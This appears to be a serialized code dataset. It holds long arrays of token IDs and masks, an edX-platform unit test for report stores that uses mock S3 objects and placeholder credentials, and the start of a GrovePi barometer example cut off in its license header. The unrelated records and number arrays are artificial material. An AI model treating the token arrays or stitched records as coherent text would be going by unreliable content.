570, 26, 3091, 4066, 570, 503, 2082, 297, 1790, 14, 16024, 1012, 339, 347, 511, 63, 1633, 63, 475, 63, 1490, 63, 23047, 63, 6942, 63, 493, 8, 277, 304, 267, 347, 746, 63, 13760, 837, 288, 746, 5925, 8, 18, 12, 283, 1944, 4066, 570, 503, 2082, 297, 283, 515, 15, 475, 15, 23047, 15, 6942, 358, 267, 291, 14, 1178, 14, 1490, 63, 23047, 63, 6942, 63, 493, 275, 746, 63, 13760, 267, 291, 14, 3334, 8, 277, 14, 1178, 14, 13975, 360, 3543, 351, 32, 12554, 14, 1308, 297, 283, 3543, 351, 2060, 1333, 267, 291, 14, 629, 360, 547, 13618, 377, 6457, 6235, 570, 26, 3091, 4066, 570, 503, 2082, 297, 291, 14, 1178, 14, 16024, 1012, 339, 347, 511, 63, 1633, 63, 475, 63, 1490, 63, 12554, 63, 3543, 878, 63, 493, 8, 277, 304, 267, 347, 746, 63, 13760, 837, 288, 746, 5925, 8, 18, 12, 283, 1944, 4066, 570, 503, 2082, 297, 283, 515, 15, 475, 15, 12554, 15, 3543, 878, 358, 267, 291, 14, 1178, 14, 1490, 63, 12554, 63, 3543, 878, 63, 493, 275, 746, 63 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 334, 35, 9, 7760, 21257, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 199, 3, 787, 7647, 26, 199, 3, 413, 14, 221, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 258, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 499, 14, 221, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 258, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 258, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 19525, 906, 7839, 14, 2401, 473, 9730, 6483, 1124, 1179, 2281, 891, 2401, 199, 3, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 199, 3, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 199, 3, 9706, 14, 1621, 4825, 6461, 7000, 19525, 906, 7839, 14, 1549, 473, 9730, 6483, 6262, 7024, 2381, 199, 3, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 199, 3, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 199, 3, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 199, 3, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 199, 3, 1549, 7056, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 646, 5228, 199, 646, 636, 5351, 363, 199, 646, 21306, 14, 1205, 14, 2520, 14, 1178, 199, 646, 15502, 199, 646, 747, 199, 646, 2882, 199, 199, 504, 5532, 351, 63, 1178, 492, 21447, 351, 2817, 421, 199, 3, 961, 5516, 402, 5228, 5171, 314, 1067, 5256, 4113, 880, 652, 5419, 199, 3, 543, 298, 1045, 2, 9834, 12, 2951, 2839, 3363, 1584, 14, 199, 533, 445, 45, 6424, 8, 6424, 14, 6424, 304, 272, 347, 636, 4200, 721, 277, 304, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 1919, 12, 574, 12, 5190, 304, 267, 291, 14, 1600, 342, 421, 199, 32, 23464, 14, 14237, 199, 318, 1551, 63, 4415, 8, 1532, 304, 272, 3379, 63, 1490, 275, 636, 5351, 4343, 1490, 272, 636, 5351, 4343, 1490, 275, 2562, 272, 1995, 272, 636, 5351, 4343, 1490, 275, 3379, 63, 1490, 421, 199, 533, 21447, 351, 2817, 774, 8, 2796, 14, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 291, 14, 1178, 275, 21447, 351, 2817, 360, 515, 15, 475, 15, 1178, 14, 1001, 358, 267, 291, 14, 1178, 14, 1490, 63, 1178, 63, 1001, 63, 493, 275, 291, 14, 3183, 63, 1178, 63, 1001, 63, 493, 267, 291, 14, 1178, 14, 1490, 63, 12554, 63, 3543, 878, 63, 493, 275, 291, 14, 3183, 63, 3543, 878, 63, 493, 267, 291, 14, 1178, 14, 1490, 63, 23047, 63, 6942, 63, 493, 275, 291, 14, 3183, 63, 517, 5671, 63, 493, 339, 347, 4026, 63, 1490, 63, 1593, 8, 277, 12, 1420, 63, 1501, 304, 267, 347, 4026, 63, 1490, 8, 354, 12, 818, 534, 82, 735, 288, 291, 14, 3183, 63, 1490, 63, 10274, 63, 3527, 275, 715, 288, 291, 14, 629, 8, 2062, 63, 1501, 12, 536, 9, 267, 372, 4026, 63, 1490, 339, 347, 511, 63, 11725, 63, 3742, 8, 277, 304, 267, 291, 14, 1815, 8, 277, 14, 1178, 14, 13975, 360, 3543, 351, 32, 12554, 14, 1308, 297, 283, 3543, 351, 2060, 1333, 267, 291, 14, 629, 8594, 291, 14, 1178, 14, 16024, 1012, 267, 291, 14, 1815, 8, 277, 14, 1178, 14, 13975, 360, 3543, 351, 18, 32, 2694, 14, 957, 297, 283, 3543, 351, 18, 2060, 1333, 267, 291, 14, 629, 8594, 291, 14, 1178, 14, 16024, 1012, 339, 347, 511, 63, 3543, 351, 63, 7395, 63, 23047, 63, 6942, 63, 15762, 8, 277, 304, 267, 291, 14, 3334, 8, 277, 14, 1178, 14, 13975, 360, 3543, 351, 19, 32, 12554, 14, 1308, 297, 283, 3543, 351, 19, 2060, 1333, 267, 291, 14, 629, 360, 3364, 3434, 15, 2060, 297, 291, 14, 1178, 14, 16024, 1012, 339, 347, 511, 63, 1633, 63, 475, 63, 1490, 63, 1178, 63, 1001, 63, 493, 8, 277, 304, 267, 347, 746, 63, 13760, 837, 288, 746, 5925, 8, 18, 12, 283, 1944, 4066, 570, 503, 2082, 297, 283, 515, 15, 475, 15, 1178, 14, 1001, 358, 267, 1790, 275, 21447, 351, 2817, 360, 515, 15, 475, 15, 1178, 14, 1001, 358, 267, 1790, 14, 1490, 63, 1178, 63, 1001, 63, 493, 275, 746, 63, 13760, 267, 291, 14, 3334, 8, 1178, 14, 13975, 360, 3543, 351, 32, 12554, 14, 1308, 297, 283, 3543, 351, 2060, 1333, 267, 291, 14, 629, 360, 547, 13618, 1790, 14, 1001, 570, 26, 3091, 4066, 570, 503, 2082, 297, 1790, 14, 16024, 1012, 339, 347, 511, 63, 1633, 63, 475, 63, 1490, 63, 23047, 63, 6942, 63, 493, 8, 277, 304, 267, 347, 746, 63, 13760, 837, 288, 746, 5925, 8, 18, 12, 283, 1944, 4066, 570, 503, 2082, 297, 283, 515, 15, 475, 15, 23047, 15, 6942, 358, 267, 291, 14, 1178, 14, 1490, 63, 23047, 63, 6942, 63, 493, 275, 746, 63, 13760, 267, 291, 14, 3334, 8, 277, 14, 1178, 14, 13975, 360, 3543, 351, 32, 12554, 14, 1308, 297, 283, 3543, 351, 2060, 1333, 267, 291, 14, 629, 360, 547, 13618, 377, 6457, 6235, 570, 26, 3091, 4066, 570, 503, 2082, 297, 291, 14, 1178, 14, 16024, 1012, 339, 347, 511, 63, 1633, 63, 475, 63, 1490, 63, 12554, 63, 3543, 878, 63, 493, 8, 277, 304, 267, 347, 746, 63, 13760, 837, 288, 746, 5925, 8, 18, 12, 283, 1944, 4066, 570, 503, 2082, 297, 283, 515, 15, 475, 15, 12554, 15, 3543, 878, 358, 267, 291, 14, 1178, 14, 1490, 63, 12554, 63, 3543, 878, 63, 493, 275, 746, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
SravanthiSinha/edx-platform
lms/djangoapps/instructor_task/tests/test_models.py
124
3540
""" Tests for instructor_task/models.py. """ from cStringIO import StringIO import mock import time from datetime import datetime from unittest import TestCase from instructor_task.models import LocalFSReportStore, S3ReportStore from instructor_task.tests.test_base import TestReportMixin from opaque_keys.edx.locator import CourseLocator class MockKey(object): """ Mocking a boto S3 Key object. """ def __init__(self, bucket): self.last_modified = datetime.now() self.bucket = bucket def set_contents_from_string(self, contents, headers): # pylint: disable=unused-argument """ Expected method on a Key object. """ self.bucket.store_key(self) def generate_url(self, expires_in): # pylint: disable=unused-argument """ Expected method on a Key object. """ return "http://fake-edx-s3.edx.org/" class MockBucket(object): """ Mocking a boto S3 Bucket object. """ def __init__(self, _name): self.keys = [] def store_key(self, key): """ Not a Bucket method, created just to store the keys in the Bucket for testing purposes. """ self.keys.append(key) def list(self, prefix): # pylint: disable=unused-argument """ Expected method on a Bucket object. """ return self.keys class MockS3Connection(object): """ Mocking a boto S3 Connection """ def __init__(self, access_key, secret_key): pass def get_bucket(self, bucket_name): """ Expected method on an S3Connection object. """ return MockBucket(bucket_name) class ReportStoreTestMixin(object): """ Mixin for report store tests. """ def setUp(self): self.course_id = CourseLocator(org="testx", course="coursex", run="runx") def create_report_store(self): """ Subclasses should override this and return their report store. """ pass def test_links_for_order(self): """ Test that ReportStore.links_for() returns file download links in reverse chronological order. """ report_store = self.create_report_store() report_store.store(self.course_id, 'old_file', StringIO()) time.sleep(1) # Ensure we have a unique timestamp. report_store.store(self.course_id, 'middle_file', StringIO()) time.sleep(1) # Ensure we have a unique timestamp. report_store.store(self.course_id, 'new_file', StringIO()) self.assertEqual( [link[0] for link in report_store.links_for(self.course_id)], ['new_file', 'middle_file', 'old_file'] ) class LocalFSReportStoreTestCase(ReportStoreTestMixin, TestReportMixin, TestCase): """ Test the LocalFSReportStore model. """ def create_report_store(self): """ Create and return a LocalFSReportStore. """ return LocalFSReportStore.from_config(config_name='GRADES_DOWNLOAD') @mock.patch('instructor_task.models.S3Connection', new=MockS3Connection) @mock.patch('instructor_task.models.Key', new=MockKey) @mock.patch('instructor_task.models.settings.AWS_SECRET_ACCESS_KEY', create=True, new="access_key") @mock.patch('instructor_task.models.settings.AWS_ACCESS_KEY_ID', create=True, new="access_id") class S3ReportStoreTestCase(ReportStoreTestMixin, TestReportMixin, TestCase): """ Test the S3ReportStore model. """ def create_report_store(self): """ Create and return a S3ReportStore. """ return S3ReportStore.from_config(config_name='GRADES_DOWNLOAD')
agpl-3.0
[ 624, 199, 2925, 367, 17724, 63, 1765, 15, 992, 14, 647, 14, 199, 624, 199, 199, 504, 15073, 492, 5228, 199, 646, 1683, 199, 646, 900, 199, 504, 2197, 492, 2197, 199, 504, 2882, 492, 7640, 199, 199, 504, 17724, 63, 1765, 14, 992, 492, 10111, 7079, 7457, 5502, 12, 428, 19, 7457, 5502, 199, 504, 17724, 63, 1765, 14, 2219, 14, 396, 63, 1095, 492, 1379, 7457, 4256, 199, 504, 15058, 63, 1612, 14, 8268, 14, 6354, 492, 31480, 421, 199, 533, 4420, 1197, 8, 785, 304, 272, 408, 272, 4420, 316, 282, 6055, 428, 19, 2606, 909, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 5315, 304, 267, 291, 14, 2019, 63, 5540, 275, 2197, 14, 2131, 342, 267, 291, 14, 4623, 275, 5315, 339, 347, 663, 63, 4407, 63, 504, 63, 875, 8, 277, 12, 4072, 12, 2323, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 267, 408, 13796, 1083, 641, 282, 2606, 909, 14, 408, 267, 291, 14, 4623, 14, 1617, 63, 498, 8, 277, 9, 339, 347, 3550, 63, 633, 8, 277, 12, 12261, 63, 262, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 267, 408, 13796, 1083, 641, 282, 2606, 909, 14, 408, 267, 372, 298, 1014, 921, 3183, 13, 8268, 13, 83, 19, 14, 8268, 14, 1308, 6687, 421, 199, 533, 4420, 12311, 8, 785, 304, 272, 408, 4420, 316, 282, 6055, 428, 19, 31479, 909, 14, 408, 272, 347, 636, 826, 721, 277, 12, 485, 354, 304, 267, 291, 14, 1612, 275, 942, 339, 347, 3877, 63, 498, 8, 277, 12, 790, 304, 267, 408, 2832, 282, 31479, 1083, 12, 2737, 2951, 370, 3877, 314, 2883, 315, 314, 31479, 367, 5343, 12901, 14, 408, 267, 291, 14, 1612, 14, 740, 8, 498, 9, 339, 347, 769, 8, 277, 12, 2403, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 267, 408, 13796, 1083, 641, 282, 31479, 909, 14, 408, 267, 372, 291, 14, 1612, 421, 199, 533, 4420, 51, 19, 3225, 8, 785, 304, 272, 408, 4420, 316, 282, 6055, 428, 19, 8113, 408, 272, 347, 636, 826, 721, 277, 12, 2879, 63, 498, 12, 7565, 63, 498, 304, 267, 986, 339, 347, 664, 63, 4623, 8, 277, 12, 5315, 63, 354, 304, 267, 408, 13796, 1083, 641, 376, 428, 19, 3225, 909, 14, 408, 267, 372, 4420, 12311, 8, 4623, 63, 354, 9, 421, 199, 533, 11774, 5502, 22060, 8, 785, 304, 272, 408, 272, 28438, 367, 3622, 3877, 2295, 14, 272, 408, 272, 347, 3613, 8, 277, 304, 267, 291, 14, 1972, 63, 344, 275, 31480, 8, 1308, 628, 396, 88, 401, 2518, 628, 1972, 88, 401, 1255, 628, 1065, 88, 531, 339, 347, 1218, 63, 3070, 63, 1617, 8, 277, 304, 267, 408, 267, 20196, 1077, 4278, 642, 436, 372, 3932, 3622, 3877, 14, 267, 408, 267, 986, 339, 347, 511, 63, 4614, 63, 509, 63, 1648, 8, 277, 304, 267, 408, 267, 1379, 626, 11774, 5502, 14, 4614, 63, 509, 342, 2529, 570, 5235, 6220, 267, 315, 3837, 682, 2641, 79, 7954, 1865, 14, 267, 408, 267, 3622, 63, 1617, 275, 291, 14, 981, 63, 3070, 63, 1617, 342, 267, 3622, 63, 1617, 14, 1617, 8, 277, 14, 1972, 63, 344, 12, 283, 1753, 63, 493, 297, 5228, 1012, 267, 900, 14, 4532, 8, 17, 9, 221, 327, 7523, 781, 1172, 282, 3747, 4913, 14, 267, 3622, 63, 1617, 14, 1617, 8, 277, 14, 1972, 63, 344, 12, 283, 14885, 63, 493, 297, 5228, 1012, 267, 900, 14, 4532, 8, 17, 9, 221, 327, 7523, 781, 1172, 282, 3747, 4913, 14, 267, 3622, 63, 1617, 14, 1617, 8, 277, 14, 1972, 63, 344, 12, 283, 1222, 63, 493, 297, 5228, 1012, 398, 291, 14, 629, 8, 288, 359, 1073, 59, 16, 61, 367, 2142, 315, 3622, 63, 1617, 14, 4614, 63, 509, 8, 277, 14, 1972, 63, 344, 4360, 288, 788, 1222, 63, 493, 297, 283, 14885, 63, 493, 297, 283, 1753, 63, 493, 418, 267, 776, 421, 199, 533, 10111, 7079, 7457, 5502, 1746, 8, 7457, 5502, 22060, 12, 1379, 7457, 4256, 12, 7640, 304, 272, 408, 272, 1379, 314, 10111, 7079, 7457, 5502, 1402, 14, 272, 408, 272, 347, 1218, 63, 3070, 63, 1617, 8, 277, 304, 267, 408, 2790, 436, 372, 282, 10111, 7079, 7457, 5502, 14, 408, 267, 372, 10111, 7079, 7457, 5502, 14, 504, 63, 888, 8, 888, 63, 354, 534, 3975, 1554, 654, 63, 24930, 358, 421, 199, 32, 1805, 14, 2068, 360, 14891, 63, 1765, 14, 992, 14, 51, 19, 3225, 297, 892, 29, 3346, 51, 19, 3225, 9, 199, 32, 1805, 14, 2068, 360, 14891, 63, 1765, 14, 992, 14, 1197, 297, 892, 29, 3346, 1197, 9, 199, 32, 1805, 14, 2068, 360, 14891, 63, 1765, 14, 992, 14, 1751, 14, 13226, 63, 12961, 63, 11074, 63, 3078, 297, 1218, 29, 549, 12, 892, 628, 2732, 63, 498, 531, 199, 32, 1805, 14, 2068, 360, 14891, 63, 1765, 14, 992, 14, 1751, 14, 13226, 63, 11074, 63, 3078, 63, 998, 297, 1218, 29, 549, 12, 892, 628, 2732, 63, 344, 531, 199, 533, 428, 19, 7457, 5502, 1746, 8, 7457, 5502, 22060, 12, 1379, 7457, 4256, 12, 7640, 304, 272, 408, 272, 1379, 314, 428, 19, 7457, 5502, 1402, 14, 272, 408, 272, 347, 1218, 63, 3070, 63, 1617, 8, 277, 304, 267, 408, 2790, 436, 372, 282, 428, 19, 7457, 5502, 14, 408, 267, 372, 428, 19, 7457, 5502, 14, 504, 63, 888, 8, 888, 63, 354, 534, 3975, 1554, 654, 63, 24930, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 2925, 367, 17724, 63, 1765, 15, 992, 14, 647, 14, 199, 624, 199, 199, 504, 15073, 492, 5228, 199, 646, 1683, 199, 646, 900, 199, 504, 2197, 492, 2197, 199, 504, 2882, 492, 7640, 199, 199, 504, 17724, 63, 1765, 14, 992, 492, 10111, 7079, 7457, 5502, 12, 428, 19, 7457, 5502, 199, 504, 17724, 63, 1765, 14, 2219, 14, 396, 63, 1095, 492, 1379, 7457, 4256, 199, 504, 15058, 63, 1612, 14, 8268, 14, 6354, 492, 31480, 421, 199, 533, 4420, 1197, 8, 785, 304, 272, 408, 272, 4420, 316, 282, 6055, 428, 19, 2606, 909, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 5315, 304, 267, 291, 14, 2019, 63, 5540, 275, 2197, 14, 2131, 342, 267, 291, 14, 4623, 275, 5315, 339, 347, 663, 63, 4407, 63, 504, 63, 875, 8, 277, 12, 4072, 12, 2323, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 267, 408, 13796, 1083, 641, 282, 2606, 909, 14, 408, 267, 291, 14, 4623, 14, 1617, 63, 498, 8, 277, 9, 339, 347, 3550, 63, 633, 8, 277, 12, 12261, 63, 262, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 267, 408, 13796, 1083, 641, 282, 2606, 909, 14, 408, 267, 372, 298, 1014, 921, 3183, 13, 8268, 13, 83, 19, 14, 8268, 14, 1308, 6687, 421, 199, 533, 4420, 12311, 8, 785, 304, 272, 408, 4420, 316, 282, 6055, 428, 19, 31479, 909, 14, 408, 272, 347, 636, 826, 721, 277, 12, 485, 354, 304, 267, 291, 14, 1612, 275, 942, 339, 347, 3877, 63, 498, 8, 277, 12, 790, 304, 267, 408, 2832, 282, 31479, 1083, 12, 2737, 2951, 370, 3877, 314, 2883, 315, 314, 31479, 367, 5343, 12901, 14, 408, 267, 291, 14, 1612, 14, 740, 8, 498, 9, 339, 347, 769, 8, 277, 12, 2403, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 267, 408, 13796, 1083, 641, 282, 31479, 909, 14, 408, 267, 372, 291, 14, 1612, 421, 199, 533, 4420, 51, 19, 3225, 8, 785, 304, 272, 408, 4420, 316, 282, 6055, 428, 19, 8113, 408, 272, 347, 636, 826, 721, 277, 12, 2879, 63, 498, 12, 7565, 63, 498, 304, 267, 986, 339, 347, 664, 63, 4623, 8, 277, 12, 5315, 63, 354, 304, 267, 408, 13796, 1083, 641, 376, 428, 19, 3225, 909, 14, 408, 267, 372, 4420, 12311, 8, 4623, 63, 354, 9, 421, 199, 533, 11774, 5502, 22060, 8, 785, 304, 272, 408, 272, 28438, 367, 3622, 3877, 2295, 14, 272, 408, 272, 347, 3613, 8, 277, 304, 267, 291, 14, 1972, 63, 344, 275, 31480, 8, 1308, 628, 396, 88, 401, 2518, 628, 1972, 88, 401, 1255, 628, 1065, 88, 531, 339, 347, 1218, 63, 3070, 63, 1617, 8, 277, 304, 267, 408, 267, 20196, 1077, 4278, 642, 436, 372, 3932, 3622, 3877, 14, 267, 408, 267, 986, 339, 347, 511, 63, 4614, 63, 509, 63, 1648, 8, 277, 304, 267, 408, 267, 1379, 626, 11774, 5502, 14, 4614, 63, 509, 342, 2529, 570, 5235, 6220, 267, 315, 3837, 682, 2641, 79, 7954, 1865, 14, 267, 408, 267, 3622, 63, 1617, 275, 291, 14, 981, 63, 3070, 63, 1617, 342, 267, 3622, 63, 1617, 14, 1617, 8, 277, 14, 1972, 63, 344, 12, 283, 1753, 63, 493, 297, 5228, 1012, 267, 900, 14, 4532, 8, 17, 9, 221, 327, 7523, 781, 1172, 282, 3747, 4913, 14, 267, 3622, 63, 1617, 14, 1617, 8, 277, 14, 1972, 63, 344, 12, 283, 14885, 63, 493, 297, 5228, 1012, 267, 900, 14, 4532, 8, 17, 9, 221, 327, 7523, 781, 1172, 282, 3747, 4913, 14, 267, 3622, 63, 1617, 14, 1617, 8, 277, 14, 1972, 63, 344, 12, 283, 1222, 63, 493, 297, 5228, 1012, 398, 291, 14, 629, 8, 288, 359, 1073, 59, 16, 61, 367, 2142, 315, 3622, 63, 1617, 14, 4614, 63, 509, 8, 277, 14, 1972, 63, 344, 4360, 288, 788, 1222, 63, 493, 297, 283, 14885, 63, 493, 297, 283, 1753, 63, 493, 418, 267, 776, 421, 199, 533, 10111, 7079, 7457, 5502, 1746, 8, 7457, 5502, 22060, 12, 1379, 7457, 4256, 12, 7640, 304, 272, 408, 272, 1379, 314, 10111, 7079, 7457, 5502, 1402, 14, 272, 408, 272, 347, 1218, 63, 3070, 63, 1617, 8, 277, 304, 267, 408, 2790, 436, 372, 282, 10111, 7079, 7457, 5502, 14, 408, 267, 372, 10111, 7079, 7457, 5502, 14, 504, 63, 888, 8, 888, 63, 354, 534, 3975, 1554, 654, 63, 24930, 358, 421, 199, 32, 1805, 14, 2068, 360, 14891, 63, 1765, 14, 992, 14, 51, 19, 3225, 297, 892, 29, 3346, 51, 19, 3225, 9, 199, 32, 1805, 14, 2068, 360, 14891, 63, 1765, 14, 992, 14, 1197, 297, 892, 29, 3346, 1197, 9, 199, 32, 1805, 14, 2068, 360, 14891, 63, 1765, 14, 992, 14, 1751, 14, 13226, 63, 12961, 63, 11074, 63, 3078, 297, 1218, 29, 549, 12, 892, 628, 2732, 63, 498, 531, 199, 32, 1805, 14, 2068, 360, 14891, 63, 1765, 14, 992, 14, 1751, 14, 13226, 63, 11074, 63, 3078, 63, 998, 297, 1218, 29, 549, 12, 892, 628, 2732, 63, 344, 531, 199, 533, 428, 19, 7457, 5502, 1746, 8, 7457, 5502, 22060, 12, 1379, 7457, 4256, 12, 7640, 304, 272, 408, 272, 1379, 314, 428, 19, 7457, 5502, 1402, 14, 272, 408, 272, 347, 1218, 63, 3070, 63, 1617, 8, 277, 304, 267, 408, 2790, 436, 372, 282, 428, 19, 7457, 5502, 14, 408, 267, 372, 428, 19, 7457, 5502, 14, 504, 63, 888, 8, 888, 63, 354, 534, 3975, 1554, 654, 63, 24930, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
outboxafrica/pimaa
PiMaa/sensors/lib/GrovePi/grove_barometer_sensors/high_accuracy_hp206c_barometer/high_accuracy_barometer_example.py
2
2138
#!/usr/bin/env python # # GrovePi Example for using the Grove - Barometer (High-Accuracy)(http://www.seeedstudio.com/depot/Grove-Barometer-HighAccuracy-p-1865.html # # The GrovePi connects the Raspberry Pi and Grove sensors. You can learn more about GrovePi here: http://www.dexterindustries.com/GrovePi # # Have a question about this library? Ask on the forums here: http://forum.dexterindustries.com/c/grovepi # # This library is derived from the Arduino library written by Oliver Wang for SeeedStudio (https://github.com/Seeed-Studio/Grove_Barometer_HP20x/tree/master/HP20x_dev) ''' ## License The MIT License (MIT) GrovePi for the Raspberry Pi: an open source platform for connecting Grove Sensors to the Raspberry Pi. Copyright (C) 2015 Dexter Industries Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE 